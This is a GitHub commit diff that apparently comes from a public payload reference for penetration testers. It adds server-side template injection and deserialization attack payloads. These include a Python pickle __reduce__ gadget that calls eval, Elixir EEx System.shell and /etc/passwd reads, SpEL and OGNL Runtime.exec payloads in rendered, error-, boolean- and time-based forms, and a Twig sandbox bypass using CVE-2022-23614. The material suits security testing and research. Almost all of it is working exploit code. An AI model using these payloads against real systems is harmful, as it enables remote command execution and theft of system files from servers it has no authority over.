Skip to content

Commit 2e32d27

Browse files
authored
Merge pull request #820 from vladko312/master
SSTI and Insecure Deserialization improvements based on the new version of my research
2 parents 10d41d2 + b60551e commit 2e32d27

4 files changed

Lines changed: 159 additions & 4 deletions

File tree

Insecure Deserialization/Python.md

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -68,6 +68,28 @@ evil_token = b64encode(cPickle.dumps(e))
6868
print("Your Evil Token : {}").format(evil_token)
6969
```
7070

71+
A universal payload can be created by loading `os` at runtime using eval:
72+
73+
```python
74+
import pickle
75+
import base64
76+
77+
class RCE:
78+
def __reduce__(self):
79+
return eval, ("__import__('os').system('whoami')",)
80+
pickled = pickle.dumps(RCE())
81+
print(base64.b64encode(pickled).decode())
82+
```
83+
84+
This approach allows running arbitrary python code, which allows us to use different techniques from code injection:
85+
86+
```python
87+
__import__('os').system('whoami') # Reflected RCE
88+
getattr('', __import__('os').popen('whoami').read()) # Error-Based RCE
89+
1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE
90+
__include__("os").popen("id && sleep 5").read() # Time-Based RCE
91+
```
92+
7193
### PyYAML
7294

7395
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
@@ -111,3 +133,4 @@ with open('exploit_unsafeloader.yml') as file:
111133
* [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
112134
* [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
113135
* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
136+
* [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
# Elixir Deserialization
2+
3+
> Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Elixir, SSTI can occur when using templating engines like EEx (Embedded Elixir), especially when user input is incorporated into templates without proper sanitization or validation.
4+
5+
## Summary
6+
7+
- [Templating Libraries](#templating-libraries)
8+
- [Universal Payloads](#universal-payloads)
9+
- [EEx](#eex)
10+
- [EEx - Basic injections](#eex---basic-injections)
11+
- [EEx - Retrieve /etc/passwd](#eex---retrieve-etcpasswd)
12+
- [EEx - Remote Command execution](#eex---remote-command-execution)
13+
- [References](#references)
14+
15+
## Templating Libraries
16+
17+
| Template Name | Payload Format |
18+
|---------------|----------------|
19+
| EEx | `<%= %>` |
20+
| LEEx | `<%= %>` |
21+
| HEEx | `<%= %>` |
22+
23+
## Universal Payloads
24+
25+
Generic code injection payloads work for many Elixir-based template engines, such as EEx, LEEx and HEEx.
26+
27+
By default, only EEx can render templates from string, but it is possible to use LEEx and HEEx as replacement engines for EEx.
28+
29+
To use these payloads, wrap them in the appropriate tag.
30+
31+
```erlang
32+
elem(System.shell("id"), 0) # Rendered RCE
33+
[1, 2][elem(System.shell("id"), 0)] # Error-Based RCE
34+
1/((elem(System.shell("id"), 1) == 0)&&1||0) # Boolean-Based RCE
35+
elem(System.shell("id && sleep 5"), 0) # Time-Based RCE
36+
```
37+
38+
## EEx
39+
40+
[Official website](https://hexdocs.pm/eex/1.19.5/EEx.html)
41+
> EEx stands for Embedded Elixir.
42+
43+
### EEx - Basic injections
44+
45+
```erlang
46+
<%= 7 * 7 %>
47+
```
48+
49+
### EEx - Retrieve /etc/passwd
50+
51+
```erlang
52+
<%= File.read!("/etc/passwd") %>
53+
```
54+
55+
### EEx - Remote Command execution
56+
57+
```erlang
58+
<%= elem(System.shell("id"), 0) %> # Rendered RCE
59+
<%= [1, 2][elem(System.shell("id"), 0)] %> # Error-Based RCE
60+
<%= 1/((elem(System.shell("id"), 1) == 0)&&1||0) %> # Boolean-Based RCE
61+
<%= elem(System.shell("id && sleep 5"), 0) %> # Time-Based RCE
62+
```
63+
64+
## References
65+
66+
- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)

Server Side Template Injection/Java.md

Lines changed: 67 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,9 @@
3535
- [SpEL - DNS Exfiltration](#spel---dns-exfiltration)
3636
- [SpEL - Session Attributes](#spel---session-attributes)
3737
- [SpEL - Command Execution](#spel---command-execution)
38+
- [Object-Graph Navigation Language](#object-graph-navigation-language)
39+
- [OGNL - Basic Injection](#ognl---basic-injection)
40+
- [OGNL - Command Execution](#ognl---command-execution)
3841
- [References](#references)
3942

4043
## Templating Libraries
@@ -46,7 +49,7 @@
4649
| Groovy | `${ }` |
4750
| Jinjava | `{{ }}` |
4851
| Pebble | `{{ }}` |
49-
| Spring | `*{ }` |
52+
| SpEL | `*{ }`, `#{ }`, `${ }` |
5053
| Thymeleaf | `[[ ]]` |
5154
| Velocity | `#set($X="") $X` |
5255

@@ -367,9 +370,12 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val
367370
368371
### SpEL - Basic Injection
369372
373+
> SpEL has built-in templating system using `#{ }`, but SpEL is also commonly used for interpolation using `${ }`.
374+
370375
```java
371376
${7*7}
372377
${'patt'.toString().replace('a', 'x')}
378+
${T(java.lang.Integer).valueOf('1')}
373379
```
374380
375381
### SpEL - Retrieve Environment Variables
@@ -440,6 +446,66 @@ ${pageContext.request.getSession().setAttribute("admin",true)}
440446
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
441447
${request.getAttribute("a")}
442448
```
449+
450+
- Error-Based payload:
451+
452+
```java
453+
${T(java.lang.Integer).valueOf("x"+T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("id").inputStream.readAllBytes()))}
454+
```
455+
456+
- Boolean-Based payload:
457+
458+
```java
459+
${1/((T(java.lang.Runtime).getRuntime().exec("id").waitFor()==0)?1:0)+""}
460+
```
461+
462+
- Time-Based payload:
463+
464+
```java
465+
${(T(java.lang.Runtime).getRuntime().exec("id").waitFor().equals(0)?T(java.lang.Thread).sleep(5000):0).toString()}
466+
```
467+
468+
## Object-Graph Navigation Language
469+
470+
[Official website](https://commons.apache.org/dormant/commons-ognl/)
471+
472+
> OGNL stands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property.
473+
474+
### OGNL - Basic Injection
475+
476+
> OGNL can be used with different tags like `${ }`
477+
478+
```java
479+
7*7
480+
'patt'.toString().replace('a', 'x')
481+
@java.lang.Integer@valueOf('1')
482+
```
483+
484+
### OGNL - Command Execution
485+
486+
Rendered:
487+
488+
```java
489+
new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())
490+
```
491+
492+
Error-Based:
493+
494+
```java
495+
(new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))/0
496+
```
497+
498+
Boolean-Based:
499+
500+
```java
501+
1/((@java.lang.Runtime@getRuntime().exec("id").waitFor()==0)?1:0)+""
502+
```
503+
504+
Time-Based:
505+
506+
```java
507+
((@java.lang.Runtime@getRuntime().exec("id").waitFor().equals(0))?@java.lang.Thread@sleep(5000):0)
508+
```
443509
444510
## References
445511

Server Side Template Injection/PHP.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -47,9 +47,7 @@ system('id')
4747

4848
// Error-Based RCE
4949
ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based
50-
fopen(join("", ["Y:/A:/", shell_exec('id')]), "r")
51-
include(join("", ["Y:/A:/", shell_exec('id')]))
52-
join("", ["xx", shell_exec('id')])()
50+
call_user_func(join("", ["xx", shell_exec('id')]))
5351

5452
// Boolean-Based RCE
5553
1 / (pclose(popen("id", "wb")) == 0)
@@ -163,6 +161,8 @@ $output = $twig > render (
163161

164162
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19
165163
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0
164+
165+
{% set a = ["error_reporting", "1"]|sort("ini_set") %}{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}{{ ["id", 0]|sort("system") }}{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%} // Error-Based RCE with sandbox bypass using CVE-2022-23614
166166
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614
167167
```
168168

0 commit comments

Comments
 (0)